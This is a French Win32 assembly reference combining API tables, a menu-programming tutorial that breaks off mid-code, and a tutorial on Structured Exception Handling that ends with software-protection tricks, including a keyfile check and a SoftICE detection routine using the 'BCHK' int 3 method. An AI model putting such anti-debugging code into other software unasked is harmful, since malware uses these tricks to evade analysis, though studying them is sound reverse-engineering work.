GetDesktopWindow	Retrouve le Handle de la fenêtre 'Bureau' de Windows.
GetForegroundWindow	Retrouve le Handle de la fenêtre au premier plan.
GetLastActivePopup	Determine quelle est la fenêtre popup dernièrement active.
GetNextWindow		Retrouve la prochaine ou la précédente fenêtre dans la liste
              du Manager des Fenêtres.
GetParent		Retrouve le Handle de la fenêtre parente d'une fenêtre enfant.
GetTopWindow		Retrouve le Handle de la fenêtre enfant de plus haut niveau d'une
              fenêtre donnée.
GetWindow		Retrouve le handle d'une fenêtre (ou d'un objet) quelconque.
GetWindowLong		Retrourne une valeur 32bit d'une fenêtre-extra en mémoire.
GetWindowPlacement	Retrouve l'état (minimisée/max) et la position d'une fenêtre.
GetWindowRect		Retrouve les coordonnées d'une fenêtre.
GetWindowText		Récupère le title d'une fenêtre ou le texte d'un objet, dans un buffer.
GetWindowTextLength	Retrouve la longueur du titre d'une fenêtre ou d'un objet.
GetWindowThreadProcessId	Récupère les n°IDs du lien et du process d'une fenêtre.
GetWindowWord		Récupère une valeur 16bits en mémoire sur une fenêtre-exta .
IsChild			Détermine si la fenêtre en question est une fenêtre enfant.
IsIconic		Détermine si la fenêtre en question est minimisée.
IsWindow		Détermine si le Handle de la fenêtre est valide.
IsWindowUnicode		Détermine si la fenêtre utilise le code Unicode.
IsWindowVisible		Détermine si la fenêtre en question existe sur l'écran.
IsZoomed		Détermine si la fenêtre en question est Maximisée.
MoveWindow		Change la position est les dimensions d'une fenêtre.
OpenIcon		Active et agrandit une fenêtre minimisée.
SetForegroundWindow	Place la fenêtre au premier plan.
SetParent		Attribut un nouveau parent à une fenêtre enfant.
SetWindowLong		Change les attributs d'une fenêtre (Unicode ou Ansi).
SetWindowPos		Redimensionne, déplace et modifie le classement d'une fenêtre.
SetWindowText		Change(réécrit) le titre d'une fenêtre on d'un Control (ex:Bouton).
SetWindowWord		Ecrit une valeur de type (Word) dans la partie extra d'une fenêtre.(extension)
ShowOwnedPopups		Affiche ou cache une fenêtre pop-up.
ShowWindow		Affiche une fenêtre. Ça la rend visible.
WindowFromPoint		Retourne le Handle de la fenêtre sous le point spécifié.
EnumTaskWindows		Obsolète, remplacée par EnumThreadWindows.
GetWindowTask		Obsolète, remplacée par GetWindowThreadProcessId.

POINT
RECT
WINDOWPLACEMENT


 Window Procedures

CallWindowProc	Passe un message à une fonction de fenêtre.
DefWindowProc	Appelle la procédure de fenêtre par défaut.
WindowProc	Traite les messages envoyés à une fenêtre.

WNDCLASS


 TIMER

KillTimer	Détruit un Timer.
SetTimer	Crée un Timer (Minuteur).
TimerProc	Envoie le message WM_TIMER.


 TIME

CompareFileTime		Compare les dates de deux fichiers différents.
DosDateTimeToFileTime	Converti une date MS-DOS en un temps fichier.
FileTimeToDosDateTime	Converti un temps fichier en une date et temps MS-DOS.
FileTimeToSystemTime	Converti temps fichier en un temps system.
GetCurrentTime		Récupère le temps passé depuis le démarrage de Windows.
GetFileTime		Récupère un temps fichier.
GetSystemTime		Récupère un temps et date system.
GetTickCount		Récupère le temps passé depuis le démarrage de Windows.
SetFileTime		Ecrit un temps fichier dans la structure FILETIME.
SetSystemTime		Ecrit un temps et date fichier dans la structure SYSTEMTIME.
SystemTimeToFileTime	Converti un temps system en un temps fichier.

FILETIME
SYSTEMTIME
Il y a trois types de temps existant le TEMPS-FICHIER, le TEMPS-SYSTEME et le TEMPS-MS_DOS. En effet la représentation (le format) de temps qui sert à dater la création d'un fichier par exemple, n'est pas le même que celui pour le temps de l'horloge de votre ordinateur. Par exemple un temps fichier est codé dans une structure 64-bits (FILETIME) alors qu'un temps system est codé d'une autre façon, en deux fois 32 bits, une pour la Date et l'autre pour l'heure.

Parmi les Fonctions ci-dessus vous en trouverez qui servent à passer d'un format à un autre.


Piece of Christal's Page

Structured Exception Handling

By LuTiN NoIR

I_ Seh : Présentation et Utilité :

Tout d'abord qu'est-ce qu'une exception. Et bien on peut représenter cela comme une erreur dans un programme qui n'est pas prévue et qui en général bloque et quitte le progrramme par une messagebox de windows, nous prévenant qu'une erreur c'est produit.
Donc pour éviter ce genre d'erreur dans un programme, il serait intérressant de disposer d'une structure qui permetrait de les gérer. Et bien c'est là qu'interviennent le SEH ou Structured Exception Handling. A l'aide des seh on peut gérer ces exceptions en utilisant des sous routines ou exception handlers. Grace à cela on peut soit informer l'utilisateur qu'une exception à eu lieu, soit reprendre le programme comme si de rien était ou gerer les erreurs survenues. On peut également s'en servir pour les violations d'accès mémoire. Je ne m'étendrais pas sur les différentes exception qui existe, tout simplement car je ne les connait pas et il existe diverses doc là-dessus. Windows gère ces exceptions de différentes façons. Par exemple si vous utilisez softice et bien dès qu'une exception survient softice apparait, et là on peut déterminer ce qui c'est passer. Sinon Windows peut utiliser une exception handler si il y en a une. Toutes les exceptions ne sont pas forcément aussi bien gérer: un crash du système n'est pas impossible.

Voici un premier exemple d'utilisation des exceptions handlers avec l'aide de l'API SetUnhandledExceptionFilter qui est assez évocatrice : elle permet de gérer ces exceptions :

.386
.model flat,stdcall
option casemap:none
  include \masm32\include\windows.inc
  include \masm32\include\user32.inc
  include \masm32\include\kernel32.inc
  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\kernel32.lib

.data
  TitleMsg    db "Filter",0
  GoodMsg     db "Fichier créé",0
  ErrorMsg    db "Fichier non créé",0
  Fichier     db "test.dat"

;-------------------------------------------------------
.code
start:
  push     offset NoProblem
  call     SetUnhandledExceptionFilter
  invoke CreateFile,ADDR Fichier,\
          GENERIC_READ or GENERIC_WRITE ,\
          FILE_SHARE_READ or FILE_SHARE_WRITE,\
          NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
          NULL

  invoke MessageBox, 0, addr GoodMsg, addr TitleMsg, 0
  invoke ExitProcess, NULL

;------------------------------------------------------
NoProblem PROC
  invoke MessageBox, 0, addr ErrorMsg, addr TitleMsg, 0
  invoke ExitProcess, NULL
NoProblem ENDP
end start

Sur ce petit exemple, si jamais lors de l'appel à CreateFile il y a une exception qui se produit alors le programme affichera que le fichier n'est pas créer, sinon grace au seh il passe à la routine NoProblem. Bien sur ce n'est qu'un exemple, et oui pour qu'il y est une exception lors de l'appel à cette api .....
On peut également gérer les exceptions d'une autre façon en utilisant une exception handler "par thread". Cette méthode est avantageuse notamment pour les chaines (j'y reviendrais tout à l'heure) et aussi par le fait quelle est spécifique au thread. Avant d'aller plus loin un exemple devrait éclaircir la situation :

.386
.model flat,stdcall
option casemap:none
assume fs:nothing           ; pour utiliser un seh avec masm
  include \masm32\include\windows.inc
  include \masm32\include\user32.inc
  include \masm32\include\kernel32.inc
  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\kernel32.lib

.data
  TitleMsg    db "Filter",0
  GoodMsg     db "aucune exception n'a eu lieu",0
  ErrorMsg    db "une exception a eu lieu",0
  Fichier     db "test.dat"

;-------------------------------------------------------
.code
start:
  push     offset NoProblem
  push FS:[0]
  mov FS:[0], esp
  invoke CreateFile,ADDR Fichier,\
          GENERIC_READ or GENERIC_WRITE ,\
          FILE_SHARE_READ or FILE_SHARE_WRITE,\
          NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
          NULL
    pop FS:[0]
  add esp,4h
  invoke MessageBox, 0, addr GoodMsg, addr TitleMsg, 0
  invoke ExitProcess, NULL

;------------------------------------------------------
NoProblem PROC

  invoke MessageBox, 0, addr ErrorMsg, addr TitleMsg, 0
  invoke ExitProcess, NULL
NoProblem ENDP
end start

C'est le même principe que tout à l'heure sauf que là on met un except handler avec (de même il y a peu de chance pour que l'appel à la fonction createfile créé une exception):
push     offset NoProblem
push FS:[0]
mov FS:[0], esp

Et il faut également le retiré avec :
pop FS:[0]
add esp,4h

Voilà c'est on ne peut plus simple. Bien sur ce n'est ici qu'un simple exemple, ce n'est pas réelement intégré dans un programme. En effet dans les deux cas le programme fait appel à l'api ExitProcess pour se terminé. Mais les seh peuvent être mieux utilisé par exemple si une exception à lieu lors de l'éxécution d'une routine du programme alors si on a utilisé un seh dans le code pour afficher une erreur, on verra un message d'erreur, et là on est pas obligé de quitter le programme. En effet il est plus judicieux soit de gérer l'exception qui a eu lieu soit de retourner dans le programme comme si de rien était en ayant pris soin de prevenir l'utilisateur que la fonction appelée n'a pu être éxécutée.
De même il est possible de chainées les seh, c'est à dire que l'on utilise des seh dans les diverses sous routines d'une même routine, pour gérer différentes erreurs.

Voilà c'est fini pour la présentation des seh. Je le reconnait volontiers, c'est une présentation assez simpliste, je ne parle même pas de l'utilisation de la pile des exception handler par thread chainées... mais j'espère cependant que ce texte vous aura permis de comprendre l'utilité d'un seh dans un programme.

Si vous désirez découvrir plus profondément l'utilisation des seh dans un programmes ainsi que les exceptions je vous conseil de lire le magnifique document rédigé par Jeremy Gordon, qui est disponible sur http://win32asm.cjb.net .

II_ SEH: de la gestion des exceptions à la lutte anti-cracking :

Avant d'attaquer cette partie, Christal vient juste de m'envoyer ce qu'il a rédigé sur les seh, et par ailleurs c'est très bien foutu. Il explique en pleu plus en profondeur ce qu'est un seh. Pour ce qui est des techniques anti-crack il analysé l'int 3 de blindwrite. Pour ma part je suis actuellemnt sur Aspack2.1 qui est protégé par asprotect (je pense qu'il s'agit de la version 1.0). J'orienterais cette partie vers un exemple de programmation.
Je vais d'abord commencé par parler un peu de la protection asprotect mise sur aspack 2.1 (du même auteur). Tout d'abord il utilise des seh partout, dans toutes ces routines. De plus il y a un anti debugger qui utilise le même principe que pour blindwrite. Je tiens à préciser que c'est Teeji qui m'a mis sur la piste du seh la vielle où christal m'a demandé si je pouvais porter mon attention sur les seh :) . Le problème c'est que je n'ai pas réussi à mettre la main sur l'endroit exact où il est appellé à une interruption 3. Frogsice en mode BulletProof ou en forcant le hook sut l'int 3 lance bien le prog et nous donne bien où cela à eu lieu, mais vu que les addresses mémoires sont variables ...
Enfin cette protection mais également donné un aperçu différent de l'utilisation des seh (décidement Alexey Solodovnikov fait du bon boulot). En effet il utilise également cela pour une trial period et un key file. Je m'explique: lorsque l'on lance aspasck il affiche le nombre de jours d'utilisation mais lorsque l'on enlève la protection asprotect (par une petite manipulation) et bien le nombre de jours d'utilisation ne s'affiche plus. Pourquoi ? et bien je ne le sais pas encore exactement mais en tracant dans le code d'asprotect j'ai découvert à un endroit une comparaison de date avec la clef d'un fichier (j'ai découvert cela dans la version 1 d'asprotect disponible sur leur site). Je n'ai pas réussi à remettre la main sur cette partie du code. Donc ce que je vais dire là est à prendre au conditionnel (de toute façon on peut qd même l'utilisé), je ne vais d'ailleurs pas m'étendre si aprotect le fait ou non.
Supposons que l'on veuille créé une protection sur un programme par keyfile:

.386
.model flat,stdcall
option casemap:none
assume fs:nothing
  include \masm32\include\windows.inc
  include \masm32\include\user32.inc
  include \masm32\include\kernel32.inc
  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\kernel32.lib

.data
  TitleMsg    db "Filter",0
  GoodMsg     db "utilisateur enregistré",0
  ErrorMsg    db "utilisateur non enregistré",0
  Fichier     db "keyfile.dat"
.data?
  buffer db 512 dup(?)
;-------------------------------------------------------
.code
start:
  push     offset NoProblem
  push FS:[0]
  mov FS:[0], esp
  invoke _lopen, addr Fichier, OF_READ
  .if (eax== -1)
    xor eax, eax
    mov eax, [eax]
  .endif
  pop FS:[0]
  add esp,4h
  invoke MessageBox, 0, addr GoodMsg, addr TitleMsg, 0
  invoke ExitProcess, NULL

;------------------------------------------------------
NoProblem PROC

  invoke MessageBox, 0, addr ErrorMsg, addr TitleMsg, 0
  invoke ExitProcess, NULL
NoProblem ENDP
end start

Dans ce petit exemple si jamais le fichier keyfile.dat n'est pas présent, et bien on créé une exception qui ferait afficher le message utilisateur non enregistré à la du seh précédement installé. Bien sur au coeur d'un programme il faudrait mettre tout ceci dans une routine et ne pas quitté le prog mais utilisé un ret.
L'autre utilisation faite par Asprotect est l'anti softice. La méthode est exactement la même que celle décrite par christal, je ne m'étendrais donc pas sur le pourquoi de cette routine mais plutôt comment utilisé une partie du potentiel offert par les seh. Voici un petit exemple :

.386
.model flat,stdcall
option casemap:none
assume fs:nothing           ; pour utiliser un seh avec masm
  include \masm32\include\windows.inc
  include \masm32\include\user32.inc
  include \masm32\include\kernel32.inc
  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\kernel32.lib

.data
  TitleMsg    db "Filter",0
  GoodMsg     db "Softice non détecté",0
  ErrorMsg    db "Softice détecté",0
.data?
  buffer db 512 dup(?)
;-------------------------------------------------------
.code
start:
  push     offset NoProblem1
  push FS:[0]
  mov FS:[0], esp
mov ebp,"BCHK"      ;on met le mot magique dans ebp
mov ax, 04h
int 3               ;on crée une erreur
                    ;à ce moment si sice est lancé on ne va rien voir et
                    ;tout va se passer normalement,
                    ;mais on n'atterrira pas dans l'except Handler...
invoke MessageBox, 0, addr ErrorMsg, addr TitleMsg, 0
POP FS:[0]
ADD ESP,4h        ;on enlève l'except handler
invoke ExitProcess, NULL
;-------------------------------------------------------
NoProblem1 PROC
  push     offset NoProblem2
  push FS:[0]
  mov FS:[0], esp
  mov ebp,"BCHK"
  mov ax, 04h
  int 3
  invoke MessageBox, 0, addr ErrorMsg, addr TitleMsg, 0
  POP FS:[0]
  ADD ESP,4h
  invoke ExitProcess, NULL

NoProblem1 ENDP
;-------------------------------------------------------
NoProblem2 PROC
push     offset NoProblem3
  push FS:[0]
  mov FS:[0], esp
  mov ebp,"BCHK"
  mov ax, 04h
  int 3
  invoke MessageBox, 0, addr ErrorMsg, addr TitleMsg, 0
  POP FS:[0]
  ADD ESP,4h
  invoke ExitProcess, NULL

NoProblem2 ENDP

;-------------------------------------------------------

NoProblem3 PROC

  push     offset NoProblem4
  push FS:[0]
  mov FS:[0], esp
  mov ebp,"BCHK"
  mov ax, 04h
  int 3
  invoke MessageBox, 0, addr ErrorMsg, addr TitleMsg, 0
  POP FS:[0]
  ADD ESP,4h
  invoke ExitProcess, NULL
NoProblem3 ENDP
;------------------------------------------------------
NoProblem4 PROC

  invoke MessageBox, 0, addr TitleMsg, addr GoodMsg, 0
  invoke ExitProcess, NULL
NoProblem4 ENDP
end start

Là j'ai tout le temps utilisé le même anti-softice mais rien n'empèche de changer, il suffit juste de générer ou pas une exception en fonction du résultat si l'anti-si ne s'en charge pas lui même.
Bien sur ce n'est qu'une improche simpliste des choses, je n'ai pas compliqué le code, ce qui est bien sur le cas dans une protection, si c'était simple, quel intérrêt d'utiliser des seh pour cela :).

Voilà, je n'ai fait que survoler le sujet pour vous donner une première approche de la question aussi bien au niveau de l'utilité d'un seh, que de son utilisation dans une protection logiciel. Je ne saurais trop vous conseillé de lire le texte de Jeremy Gordon sur les seh, disponible sur http://win32asm. Sur ce même site il y a également des exemples d'utilisations des seh dans des protections, nettement plus poussé.
En espérant que ce petit texte puisse servir à quelque chose.

Amicalement

LuTiN NoIR


 STRUCTURED EXCEPTION HANDLING

AbnormalTermination 	   	Retourne le statut final.
GetExceptionCode 	   	Retourne le type d'exception.
GetExceptionInformation    	Retourne les détails de l'exception.
RaiseException 	 	   	Lève une exception.
SetUnhandledExceptionFilter	Gére les exceptions.
UnhandledExceptionFilter   	Filtre les Exceptions d'une application.
Catch			   	Obsolète.
Throw			   	Obsolète.

EXCEPTION_POINTERS
EXCEPTION_RECORD

Un exemple parlant de Lutin Noir


 MENUS

AppendMenu		Ajoute un nouvel Item à un Menu.
CheckMenuItem		Place un petit V de vérification devant un Item.
CreateMenu		Crée un Menu.
CreatePopupMenu		Crée un Menu-Popup (Menu déroulant).
DeleteMenu		Supprime un Item du Menu.
DestroyMenu		Détruit un menu et libère la mémoire qu'il utilisait.
DrawMenuBar		Réactualise un menu. (Raffraîchit).
EnableMenuItem		Active, désactive, ou grise un Item.
GetMenu			Récupère le handle du Menu appartenant à la fenêtre spécifiée.
GetMenuCheckMarkDimensions	Récupère les dimensions de l'image qui sert de marque
                (C'est la version imagée de CheckMenuItem).
GetMenuItemCount	Récupère le nombre d'Items dans un Menu.
GetMenuItemID		Récupère l'identificateur d'un Item (son n°ID ou sa position).
GetMenuState		Récupère les flags déterminant l'état d'un Item.
GetMenuString		Copie le texte d'un Item dans un buffer (une mémoire réservoir).
GetSubMenu		Récupère le handle d'un Menu-Popup.
GetSystemMenu		Donne accès à un Menu-System.
HiliteMenuItem		Surligne ou non un Item.
InsertMenu		Insert un nouvel Item dans un Menu.
LoadMenu		Charge un Menu présent en Resource.
LoadMenuIndirect	Obtient le handle d'un Menu Template.
ModifyMenu		Modifie un Item déjà existant.
RemoveMenu		Supprime un item ou un Menu-Popup.
SetMenu			Affiche le Menu dans une Fennêtre.
SetMenuItemBitmaps	Associe une marque de type Image à un Item.
TrackPopupMenu		Affiche un Menu-Popup-Volant.
ChangeMenu		Obsolète.

Exemples


Menu

Les Principales APIs pour les Menus

VOIR LES FONCTIONS
Quand on commence à programmer, une des premières choses qu'on cherche à utiliser ce sont les menus je pense. Aczelion a bien décrit (comme toujours) les étapes pour créer un simple menu de base, mais on peut faire plus encore. Il est possible d'ajouter ou retirer des items d'un menu, de modifier un menu, etc... Ça risque d'être un peu long, mais je vais essayer de faire le tour le plus complet possible autour des APIs servant aux menus.

Quelques notions de vocabulaire:

Un 'Popup Menu' est un menu déroulant comme celui qui apparaît lorsque vous cliquer sur 'Fichier' par exemple.
Un 'Item de Menu' est un des sous-menus d'un menu. Exemple 'Quitter' est un Item.
Sachez également qu'un Menu est une ressource. Il faut donc en plus du ficher *.asm un fichier *.rc où sera définit et construit ce Menu.

ATTENTION: N'importe quel menu est définit dans les ressources, MAIS (et c'est là un point important) le fait de modifier un Menu ne fait pas appel au fichier de ressouce. Par exemple, si votre programme possède un menu (donc *.rc) et que vous vouler ajouter des Items à votre Menu, et bien l'Item en question n'appartiendra pas aux ressources (*.rc). Non, dans ce cas le texte qui constitue ce nouvel Item est dans la section .DATA et son n°ID est seulement présent dans la section .CONST.

Dans tous les exemples à suivre le fichier de ressource sera celui-ci:

-------------------------------
(Menu.rc)

#define IDM_ITEM1 1		// Le fichier *.rc définit la façon dont sera construit le menu.
#define IDM_ITEM2 2		// D'après ces lignes, ce menu prendra la forme suivante:
#define IDM_ITEM3 3		//
#define IDM_EXIT 4		//

                //    |Menu Popup| |Item3|
PremierMenu MENU		//    |  Item1   |
{				//    |  Item2   |
 POPUP "&Menu Popup"   		//    |  Exit    |
        {
         MENUITEM "Item1",IDM_ITEM1
         MENUITEM "Item2", IDM_ITEM2
         MENUITEM SEPARATOR
         MENUITEM "E&xit",IDM_EXIT
        }
 MENUITEM "Item3", IDM_ITEM3
}
-------------------------------

LoadMenu <-- Charge un Menu, c'est la toute première fonction pour les menus.
SetMenu <-- incorpore un nouveau menu à une fenêtre. (ou remplace l'ancien si la fenêtre en
            avait déjà un.)
AppendMenu <-- Ajoute un Item à la fin d'un Menu.
InsertMenu <-- Insert un Item dans un menu à l'endroit désiré.
ModifyMenu <-- Modifie (remplace) un Item du Menu par un autre.
DrawMenuBar <-- Rafraîchit un Menu. (c'est l'équivalent d'UpdateWindow pour les objets)
EnableMenuItem <-- Grise Désactive, Active l'Item d'un Menu.
DeleteMenu <-- Efface un Item du Menu.
RemoveMenu <-- Idem que DeleteMenu.
DestroyMenu <-- Fonction pour détruire (définitivement) un menu.

Voici le code de base d'une fenêtre simple et sans aucun Menu. Elle servira de base pour chacun
des exemples illustrants l'utilisation d'une fonction.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,CmdShow
    invoke UpdateWindow, hwnd

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
LoadMenu et SetMenu Retour

LoadMenu est l'API de base pour les menus. Quand vous l'utilisez elle va rechercher en ressource (segment .rsrc) le menu d'après son nom (ex: MenuName) et l'incorpore à la fenêtre dont on passe son handle à cette fonction.

HMENU LoadMenu(hinst, lpMenuName)

HANDLE hinst; /* handle de la fenêtre qui va recevoir le menu */
LPCTSTR lpMenuName; /* nom du menu pour l'identifier (parmi d'autres menus)*/

Exemple:

-------------------------------
(Menu.asm)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ?

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge le menu en mémoire (mais ne l'affiche pas)
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- Assigne un nouveau menu à une fenêtre. Puisque notre
    invoke ShowWindow, hwnd,CmdShow ; fenêtre était dépourvue de menu, voici le sien. Si elle
    invoke UpdateWindow, hwnd		; possédait déjà un menu, celui-ci remplace l'ancien.

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSEIF uMsg==WM_COMMAND
        mov eax,wParam
        .IF ax==IDM_ITEM1
            ; On a cliqué sur l'item: Item1
        .ELSEIF ax==IDM_ITEM2
            ; On a cliqué sur Item2
        .ELSEIF ax==IDM_ITEM3
            ; On a cliqué sur Item3
        .ELSE
            invoke DestroyWindow,hWnd
        .ENDIF
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
-------------------------------
Il existe d'autres façons de créer un Menu de départ, je pense en particulier au fait de déclarer le menu dans les paramètres de la fonction CreateWindowEx, ce qui évite l'utilisation de SetMenu. Ou bien une façon détournée de construire un menu est d'utiliser l'API CreateMenu (lequel crée un menu VIDE mais revoie son Handle), puis d'utiliser AppendMenu ou InsertMenu pour le remplir. Cette méthode présente la particularité de ne pas avoir besoin de fichier de ressources (*.rc).
AppendMenu et DrawMenuBar Retour

AppendMenu est une vielle API il est considéré comme étant obsolète, cependant il fonctionne toujours très bien pour des raisons de compatibilité avec les anciens logiciels.
AppendMenu 'ajoute' un Item à la fin d'un menu. Il est ajouté mais n'est pas rendu visible, pour cela il faut faire appel à DrawMenuBar pour rafraîchir le menu de la fenêtre concernée. DrawMenuBar est en fait indispensable à chaque fois qu'on utilise une API modifiant le Menu, c'est un peu l'équivalent de UpdateWindow qui elle sert à rafraîchir le contenu de la fenêtre.
ATTENTION: Contrairement à ce qu'on pourrait s'attendre, l'Item à rajouté ne fait pas parti du ficher de Ressource (*.rc) comme le reste du Menu. Le remplaçant de AppendMenu est désormais InsertMenu

Exemple:
Le fichier de ressources (*.rc) est le même menu que toujours, le fait d'ajouter un nouvel Item
à ce Menu n'entre pas en compte dans cette partie.

Après avoir ajouté notre nouvel Item le menu ressemblera à ceci:

      |Menu Popup| |Item3| |AjoutItem|
      |  Item1   |
      |  Item2   |
      |  Exit    |

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc
Ajout db "AjoutItem",0 ;<-- Nom de l'Item à ajouter
ajouter db 0	;<-- Quand il sera à 1, c'est que l'Item aura bien été ajouté

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ;<-- Handle du menu

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
IDM_ITEM3 equ 3
IDM_EXIT equ 4
IDM_ITEM5 equ 5 ;<-- n°ID du nouvel Item (ne fait pas parti du *.rc)

.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke LoadMenu, hInst, addr NomMenu ;<-- charge puis
    mov hMenu, eax
    invoke SetMenu, hwnd, hMenu ;<-- affiche le menu normal
    invoke ShowWindow, hwnd,CmdShow
    invoke UpdateWindow, hwnd

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
